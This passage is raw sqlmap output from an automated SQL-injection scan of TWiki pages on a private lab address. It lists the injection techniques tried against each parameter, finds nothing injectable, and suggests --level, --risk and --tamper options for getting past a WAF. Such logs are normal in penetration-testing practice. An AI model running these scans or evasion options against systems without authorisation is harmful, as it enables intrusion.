'rev1' is not injectable [18:42:14] [INFO] testing if GET parameter 'rev2' is dynamic [18:42:14] [INFO] confirming that GET parameter 'rev2' is dynamic [18:42:14] [INFO] GET parameter 'rev2' is dynamic [18:42:14] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:42:14] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [18:42:14] [INFO] testing for SQL injection on GET parameter 'rev2' [18:42:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:42:15] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:42:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:42:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:42:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:42:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:42:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:42:19] [INFO] testing 'MySQL inline queries' [18:42:20] [INFO] testing 'PostgreSQL inline queries' [18:42:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:42:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:42:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:42:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:42:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:42:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:42:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:42:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:42:24] [INFO] testing 'Oracle AND time-based blind' [18:42:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:42:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:42:37] [WARNING] GET parameter 'rev2' is not injectable [18:42:37] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 43: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=1.47 do you want to test this URL? [Y/n/q] Y [18:42:37] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=1.47' [18:42:37] [INFO] testing connection to the target URL [18:42:37] [INFO] testing if the target URL is stable [18:42:38] [INFO] target URL is stable [18:42:38] [INFO] testing if GET parameter 'rev' is dynamic [18:42:38] [WARNING] GET parameter 'rev' does not appear dynamic [18:42:38] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:42:39] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:42:39] [INFO] testing for SQL injection on GET parameter 'rev' [18:42:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:42:39] [WARNING] reflective value(s) found and filtering out [18:42:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:42:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:42:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:42:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:42:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:42:43] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:42:43] [INFO] testing 'MySQL inline queries' [18:42:43] [INFO] testing 'PostgreSQL inline queries' [18:42:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:42:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:42:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:42:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:42:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:42:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:42:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:42:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:42:46] [INFO] testing 'Oracle AND time-based blind' [18:42:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:42:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:42:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:43:01] [WARNING] GET parameter 'rev' is not injectable [18:43:01] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:43:01] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiPreferences?rev1=1.47&rev2=1.46' [18:43:01] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiPreferences?rev=1.46' URL 44: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiPreferences?template=oopsmore¶m1=1.48¶m2=1.48 do you want to test this URL? [Y/n/q] Y [18:43:01] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiPreferences?template=oopsmore¶m1=1.48¶m2=1.48' [18:43:01] [INFO] testing connection to the target URL [18:43:02] [INFO] testing if the target URL is stable [18:43:03] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:43:03] [INFO] testing if GET parameter 'template' is dynamic [18:43:03] [INFO] confirming that GET parameter 'template' is dynamic [18:43:03] [INFO] GET parameter 'template' is dynamic [18:43:03] [INFO] heuristics detected web page charset 'ascii' [18:43:03] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:43:03] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:43:03] [INFO] testing for SQL injection on GET parameter 'template' [18:43:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:43:03] [WARNING] reflective value(s) found and filtering out [18:43:04] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:43:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:43:04] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:43:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:43:05] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:43:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:43:06] [INFO] testing 'MySQL inline queries' [18:43:06] [INFO] testing 'PostgreSQL inline queries' [18:43:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:43:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:43:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:43:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:43:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:43:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:43:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:43:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:43:08] [INFO] testing 'Oracle AND time-based blind' [18:43:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:43:09] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:43:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:43:18] [WARNING] GET parameter 'template' is not injectable [18:43:18] [INFO] testing if GET parameter 'param1' is dynamic [18:43:18] [WARNING] GET parameter 'param1' does not appear dynamic [18:43:18] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:43:18] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:43:18] [INFO] testing for SQL injection on GET parameter 'param1' [18:43:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:43:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:43:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:43:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:43:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:43:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:43:22] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:43:22] [INFO] testing 'MySQL inline queries' [18:43:22] [INFO] testing 'PostgreSQL inline queries' [18:43:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:43:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:43:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:43:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:43:24] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:43:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:43:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:43:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:43:26] [INFO] testing 'Oracle AND time-based blind' [18:43:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:43:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:43:41] [WARNING] GET parameter 'param1' is not injectable [18:43:41] [INFO] testing if GET parameter 'param2' is dynamic [18:43:42] [WARNING] GET parameter 'param2' does not appear dynamic [18:43:42] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:43:42] [INFO] testing for SQL injection on GET parameter 'param2' [18:43:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:43:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:43:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:43:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:43:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:43:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:43:46] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:43:46] [INFO] testing 'MySQL inline queries' [18:43:46] [INFO] testing 'PostgreSQL inline queries' [18:43:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:43:46] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:43:47] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:43:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:43:48] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:43:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:43:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:43:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:43:50] [INFO] testing 'Oracle AND time-based blind' [18:43:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:43:58] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:44:06] [WARNING] GET parameter 'param2' is not injectable [18:44:06] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 45: GET http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100 do you want to test this URL? [Y/n/q] Y [18:44:06] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=100' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:44:06] [INFO] testing connection to the target URL [18:44:06] [INFO] testing if the target URL is stable [18:44:07] [INFO] target URL is stable [18:44:07] [INFO] testing if URI parameter '#1' is dynamic [18:44:07] [INFO] confirming that URI parameter '#1*' is dynamic [18:44:07] [INFO] URI parameter '#1*' is dynamic [18:44:07] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:44:07] [INFO] testing for SQL injection on URI parameter '#1*' [18:44:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:44:08] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:44:08] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:44:09] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:44:09] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:44:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:44:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:44:10] [INFO] testing 'MySQL inline queries' [18:44:10] [INFO] testing 'PostgreSQL inline queries' [18:44:11] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:44:11] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:44:11] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:44:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:44:12] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:44:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:44:13] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:44:13] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:44:14] [INFO] testing 'Oracle AND time-based blind' [18:44:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:44:14] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:44:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:44:25] [WARNING] URI parameter '#1*' is not injectable [18:44:25] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 46: GET http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200 do you want to test this URL? [Y/n/q] Y [18:44:25] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=200' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:44:25] [INFO] testing connection to the target URL [18:44:26] [INFO] testing if the target URL is stable [18:44:27] [INFO] target URL is stable [18:44:27] [INFO] testing if URI parameter '#1' is dynamic [18:44:27] [INFO] confirming that URI parameter '#1*' is dynamic [18:44:27] [INFO] URI parameter '#1*' is dynamic [18:44:27] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:44:27] [INFO] testing for SQL injection on URI parameter '#1*' [18:44:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:44:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:44:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:44:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:44:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:44:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:44:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:44:30] [INFO] testing 'MySQL inline queries' [18:44:30] [INFO] testing 'PostgreSQL inline queries' [18:44:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:44:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:44:31] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:44:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:44:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:44:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:44:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:44:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:44:35] [INFO] testing 'Oracle AND time-based blind' [18:44:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:44:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:44:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:44:48] [WARNING] URI parameter '#1*' is not injectable [18:44:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 47: GET http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400 do you want to test this URL? [Y/n/q] Y [18:44:48] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=400' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:44:48] [INFO] testing connection to the target URL [18:44:48] [INFO] testing if the target URL is stable [18:44:49] [INFO] target URL is stable [18:44:49] [INFO] testing if URI parameter '#1' is dynamic [18:44:49] [INFO] confirming that URI parameter '#1*' is dynamic [18:44:49] [INFO] URI parameter '#1*' is dynamic [18:44:49] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:44:49] [INFO] testing for SQL injection on URI parameter '#1*' [18:44:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:44:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:44:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:44:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:44:51] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:44:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:44:52] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:44:52] [INFO] testing 'MySQL inline queries' [18:44:52] [INFO] testing 'PostgreSQL inline queries' [18:44:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:44:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:44:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:44:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:44:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:44:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:44:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:44:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:44:55] [INFO] testing 'Oracle AND time-based blind' [18:44:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:44:56] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:45:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:45:07] [WARNING] URI parameter '#1*' is not injectable [18:45:07] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 48: GET http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800 do you want to test this URL? [Y/n/q] Y [18:45:07] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Know/?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on&limit=800' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:45:07] [INFO] testing connection to the target URL [18:45:07] [INFO] testing if the target URL is stable [18:45:08] [INFO] target URL is stable [18:45:08] [INFO] testing if URI parameter '#1' is dynamic [18:45:08] [INFO] confirming that URI parameter '#1*' is dynamic [18:45:08] [INFO] URI parameter '#1*' is dynamic [18:45:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:45:08] [INFO] testing for SQL injection on URI parameter '#1*' [18:45:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:45:09] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:45:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:45:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:45:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:45:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:45:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:45:11] [INFO] testing 'MySQL inline queries' [18:45:12] [INFO] testing 'PostgreSQL inline queries' [18:45:12] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:45:12] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:45:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:45:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:45:13] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:45:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:45:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:45:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:45:15] [INFO] testing 'Oracle AND time-based blind' [18:45:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:45:15] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:45:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:45:26] [WARNING] URI parameter '#1*' is not injectable [18:45:26] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 49: GET http://192.168.1.113/twiki/bin/search/Know/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on do you want to test this URL? [Y/n/q] Y [18:45:26] [INFO] testing URL 'http://192.168.1.113/twiki/bin/search/Know/SearchResult?search=.&scope=topic&order=modified&reverse=on®ex=on&nosearch=on' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:45:26] [INFO] testing connection to the target URL [18:45:27] [INFO] testing if the target URL is stable [18:45:27] [INFO] target URL is stable [18:45:27] [INFO] testing if URI parameter '#1' is dynamic [18:45:27] [INFO] confirming that URI parameter '#1*' is dynamic [18:45:28] [INFO] URI parameter '#1*' is dynamic [18:45:28] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:45:28] [INFO] testing for SQL injection on URI parameter '#1*' [18:45:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:45:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:45:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:45:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:45:30] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:45:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:45:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:45:31] [INFO] testing 'MySQL inline queries' [18:45:31] [INFO] testing 'PostgreSQL inline queries' [18:45:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:45:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:45:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:45:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:45:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:45:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:45:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:45:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:45:34] [INFO] testing 'Oracle AND time-based blind' [18:45:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:45:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:45:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:45:46] [WARNING] URI parameter '#1*' is not injectable [18:45:46] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 50: GET http://192.168.1.113:80/twiki/bin/edit/Know/WebChanges?t=1441456711 do you want to test this URL? [Y/n/q] Y [18:45:46] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Know/WebChanges?t=1441456711' [18:45:46] [INFO] testing connection to the target URL [18:45:46] [INFO] testing if the target URL is stable [18:45:47] [INFO] target URL is stable [18:45:47] [INFO] testing if GET parameter 't' is dynamic [18:45:47] [WARNING] GET parameter 't' does not appear dynamic [18:45:47] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:45:47] [INFO] testing for SQL injection on GET parameter 't' [18:45:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:45:48] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:45:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:45:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:45:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:45:50] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:45:50] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:45:50] [INFO] testing 'MySQL inline queries' [18:45:50] [INFO] testing 'PostgreSQL inline queries' [18:45:50] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:45:50] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:45:51] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:45:51] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:45:51] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:45:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:45:52] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:45:53] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:45:53] [INFO] testing 'Oracle AND time-based blind' [18:45:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:45:54] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:45:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:46:05] [WARNING] GET parameter 't' is not injectable [18:46:05] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. 